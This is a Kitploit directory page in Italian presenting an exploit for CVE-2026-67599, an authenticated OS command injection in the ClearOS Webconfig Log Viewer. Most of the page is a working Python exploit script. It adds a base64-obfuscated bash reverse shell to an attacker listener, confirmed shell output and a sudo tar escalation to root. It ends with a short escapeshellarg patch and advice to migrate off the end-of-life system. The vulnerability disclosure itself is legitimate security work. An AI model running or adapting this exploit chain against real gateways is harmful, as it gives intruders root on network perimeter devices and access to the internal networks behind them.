Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-67599_ClearOS_RCE — Authenticated Blind OS Command Injection in ClearOS | Kitploit
Strumenti/GitHubGitHub/lazytitan33/cve-2026-67599_clearos_rce
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHublazytitan33/cve-2026-67599_clearos_rce

CVE-2026-67599_ClearOS_RCE

Authenticated Blind OS Command Injection in ClearOS

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
20 giorni faNon ancora revisionato

Iniezione di comandi OS nel parametro filter del Log Viewer

Pacchetto: ClearFoundation
Versioni testate: ClearOS 7.9.1.342252
Tipo di vulnerabilità: OS Command Injection (CWE-78)
Gravità: Alta
CVE: CVE-2026-67599
Vettore CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (Punteggio: 7.2)

Un ringraziamento a VulnCheck per l'aiuto nell'assegnazione e nel monitoraggio di questa CVE-2026-67599 per mio conto.

Descrizione del prodotto


ClearOS è un sistema operativo basato su CentOS/RHEL progettato per fungere da gateway di rete, piattaforma Unified Threat Management (UTM) e server perimetrale per organizzazioni di piccole e medie dimensioni. Operando principalmente come dispositivo perimetrale, gestisce regole firewall, connessioni VPN, routing e infrastruttura di rete core.

Poiché ClearOS è implementato sul perimetro della rete, interfacce amministrative come Webconfig (porta 81) sono spesso esposte a segmenti di gestione o direttamente a reti esterne. Una vulnerabilità di esecuzione dei comandi in questa interfaccia consente a un attaccante di compromettere il gateway, ottenere una persistenza sul perimetro e spostarsi direttamente verso i segmenti di rete interni.


File interessati

/usr/clearos/apps/base/libraries/File.php — righe 297, 314


Causa principale

Il parametro filter inviato all'endpoint di Log Viewer viene passato senza sanitizzazione in un comando shell costruito in File.php. Il valore $regex viene interpolato direttamente nella stringa del comando anziché essere passato come argomento correttamente escapato, consentendo a payload di sostituzione dei comandi come $(...) o espressioni backtick di essere eseguiti come utente webconfig.


PoC

Mi sono imbattuto in questo durante un engagement attivo. Ecco un semplice generatore di artefatti.

root@kitploit:~
#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

Esempio di reverse shell (attaccante su .1, target su .129):

root@kitploit:~
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

Output confermato:

root@kitploit:~
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

L'elevazione dei privilegi a root è facilmente ottenibile tramite le regole sudoers predefinite, molto permissive:

root@kitploit:~
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

Nell'esempio seguente, utilizzando il binario tar per elevare i privilegi a root:

root@kitploit:~
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

Impatto

Un utente autenticato dell'interfaccia web con accesso ai Reports ottiene l'esecuzione completa di comandi a livello di sistema operativo come utente webconfig. In un'installazione predefinita di ClearOS 7.9, a webconfig vengono concessi ampi privilegi NOPASSWD sudo, che consentono l'immediata elevazione a root senza ulteriori credenziali. Un attaccante può ottenere accesso root persistente all'host sottostante, inclusi tutti i dati, i servizi e le configurazioni di rete gestite dal sistema.


Mitigazione suggerita

ClearOS è giunto al termine del ciclo di vita. L'ultima distribuzione ancora scaricabile da clearos.com (versione ClearOS-7.9.1.342252) risale al 13 ottobre 2021 e non riceve alcuna manutenzione upstream né aggiornamenti di sicurezza.

Per questo motivo, la correzione del codice di seguito è solo un cerotto temporaneo. Eseguire un sistema operativo non più mantenuto sul perimetro della propria rete è giocare col fuoco. La strada fortemente consigliata è migrare completamente da ClearOS verso un dispositivo perimetrale o una piattaforma UTM supportati.

Soluzione temporanea (patch PHP)

Se devi mantenere attivo questo host mentre pianifichi la migrazione, racchiudi $regex in escapeshellarg() alle righe 297 e 314 di /usr/clearos/apps/base/libraries/File.php per passare da:

root@kitploit:~
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

A:

root@kitploit:~
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

Quindi riavvia il servizio webconfig:

root@kitploit:~
sudo systemctl restart webconfig
Scarica lo strumento